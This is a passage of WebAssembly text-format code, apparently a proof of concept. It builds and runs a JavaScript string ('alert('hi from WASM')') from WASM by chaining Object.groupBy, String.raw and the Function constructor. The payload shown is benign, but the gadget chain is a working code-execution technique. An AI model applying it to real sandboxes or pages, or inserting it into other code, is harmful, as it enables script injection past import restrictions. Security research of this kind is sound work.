text
stringlengths
0
1.99k
(call $groupBy_i
(local.get $arr)
(ref.func $save_idx_if_equals)
)
drop
(global.get $g_obtained_idx)
)
;; The order of properties in built-in objects is implementation-specific
;; Luckily, we can find out the indices of some props we need, by their
;; unique name lengths
(func $get_index_for_element_with_length (param $arr externref)
(param $wanted_length i32)
(result i32)
;; Object.groupBy($arr, $save_idx_if_length_equals)
(local.get $wanted_length)
(global.set $g_wanted_length)
(call $groupBy_i
(local.get $arr)
(ref.func $save_idx_if_length_equals)
)
drop
(global.get $g_obtained_idx)
)
;; Build the payload
(func $build_string (result externref)
(local $accum externref)
;; accum = {}
;; There are probably cleaner ways but we just make a Function("B").
;; This is a clean object that has no own keys (which is what we need)
(call $constructor (call $chr (i32.const 0x42)))
(local.set $accum)
;; Start with "0;" because a "0" is injected at index 1
;; (due to String.raw also receiving the second argument which
;; Object.groupBy passes to its callback (idx))
;; The final result is "00;alert('hi from WASM')"
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x30))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x3b))
;; alert('
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x61))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x6c))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x65))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x72))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x74))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x28))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x27))
;; hi from WASM
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x68))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x69))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x20))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x66))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x72))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x6f))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x6d))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x20))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x57))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x41))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x53))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x4d))
;; ')
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x27))
(call $add_charcode_to_obj (local.get $accum) (i32.const 0x29))
;; Convert into list
(call $values (local.get $accum))
(call $list_to_string)
)
(func $main
(local $payload externref)
;; Obtain the string 'length'
;; Luckily it is the only own property of an empty array, hence index 0
(call $array_get_nth_element
(call $getOwnPropertyNames (call $values (global.get $prototype)))
(i32.const 0)
)
(global.set $s_length)
;; Obtain the offset of 'value' in property descriptors. We can't use
;; $get_index_for_element_with_length here, as it uses 'value'
;; internally. Instead, we take a look which of the properties of a
;; property descriptor of 'length' has the value 6, e.g.:
;; Object.values(Object.getOwnPropertyDescriptor('length', 'length'));
;; gives: [ 6, false, false, false ]
;; The one at index (0 in the example) is the length, so store that
;; index for future use.
(call $array_index_of
(call $values